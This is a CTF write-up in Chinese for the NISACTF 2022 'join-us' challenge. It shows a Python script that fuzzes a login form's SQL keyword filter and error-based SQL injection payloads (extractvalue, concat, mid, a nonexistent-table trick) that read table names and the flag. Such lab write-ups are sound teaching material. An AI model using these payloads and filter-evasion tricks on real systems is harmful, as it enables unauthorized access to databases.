[NISACTF 2022]join-us

最新推荐文章于 2025-05-29 09:57:06 发布

ha0cker

最新推荐文章于 2025-05-29 09:57:06 发布

阅读量353

点赞数

文章标签：数据库 web安全

本文链接：https://blog.youkuaiyun.com/m0_70819573/article/details/129541382

版权

进入登录界面，发现sql注入窗口，首先进行fuzz测试。

脚本：

import requests
fuzz={'length ','+','handler','like','select','sleep','database','delete','having','or','as','-~','BENCHMARK','limit','left','select','insert'
,'sys.schema_auto_increment_columns','join','right','#','&','&&','\\','handler','---','--','--+','INFORMATION','--',';','!','%','+','xor','<>'
,'(','>','<',')','.','^','=','AND','BY','CAST','COLUMN','COUNT','CREATE','END','case',"'1'='1'",'when',"admin'",'length','+','REVERSE','ascii'
,'select','database','left','right','union','||','oorr','/','//','//*','*/*','/**/','anandd','GROUP','HAVING','IF','INTO','JOIN','LEAVE','LEFT'
,'LEVEL','sleep','LIKE','NAMES','NEXT','NULL','OF','ON','|','infromation_schema','user','OR','ORDER','ORD','SCHEMA','SELECT','SET','TABLE','THEN'
,'UPDATE','USER','USING','VALUE','VALUES','WHEN','WHERE','ADD','AND','prepare','set','update','delete','drop','inset','CAST','COLUMN','CONCAT'
,'GROUP_CONCAT','group_concat','CREATE','DATABASE','DATABASES','alter','DELETE','DROP','floor','rand()','information_schema.tables','TABLE_SCHEMA'
,'%df','concat_ws()','concat','LIMIT','ORD','ON'
,'extractvalue','order','CAST()','by','ORDER','OUTFILE','RENAME','REPLACE','SCHEMA','SELECT','SET','updatexml','SHOW','SQL','TABLE','THEN','TRUE','instr'
,'benchmark','format','bin','substring','ord','UPDATE','VALUES','VARCHAR','VERSION','WHEN','WHERE','/*','`',',','users','%0a','%0b','mid','for','BEFORE','REGEXP'
,'RLIKE','in','sys schemma','SEPARATOR','XOR','CURSOR','FLOOR','sys.schema_table_statistics_with_buffer','INFILE','count','%0c','from','%0d','%a0','=','@','else'}
for i in fuzz:
    res = requests.post(url='http://1.14.71.254:28911/dl.php',data={'tt':i})
    if '不要耍小心思喔~'  in res.text:
        print(i)

结果：

as
IF
rand()
LEFT
by
update
=
substring
handler
union
floor
benchmark
COLUMN
UPDATE
&
sys.schema_auto_increment_columns
&&
'1'='1'
database
case
AND
right
CAST
FLOOR
left
updatexml
DATABASES
BENCHMARK
BY
sleep
DATABASE
insert
anandd
ascii
CAST()

其实一开始想到的是布尔盲注，因为输入1会返回txw4ever，输入0返回空白，但是禁用了ascii函数，禁用了updatexml函数，但是可以使用extractvalue函数。

database被禁，所以可以考虑用访问一个不存在的数据库来返回数据库。

payload:

1'||(select * from aa)#或者将||换成or,爆出sqlsql库。

接着就是报错注入的正常操作：

-1' || extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema like 'sqlsql')))#

爆出表Fal_flag,output

接下来column被ban了，所以用无列注入，join题目也有提示。

-1' || extractvalue(1,mid(concat(0x7e,(select data from output)),1,30))#

最后用mid或reverse函数读取flag

1' || extractvalue(1,mid(concat(0x7e,(select data from output)),10,40))#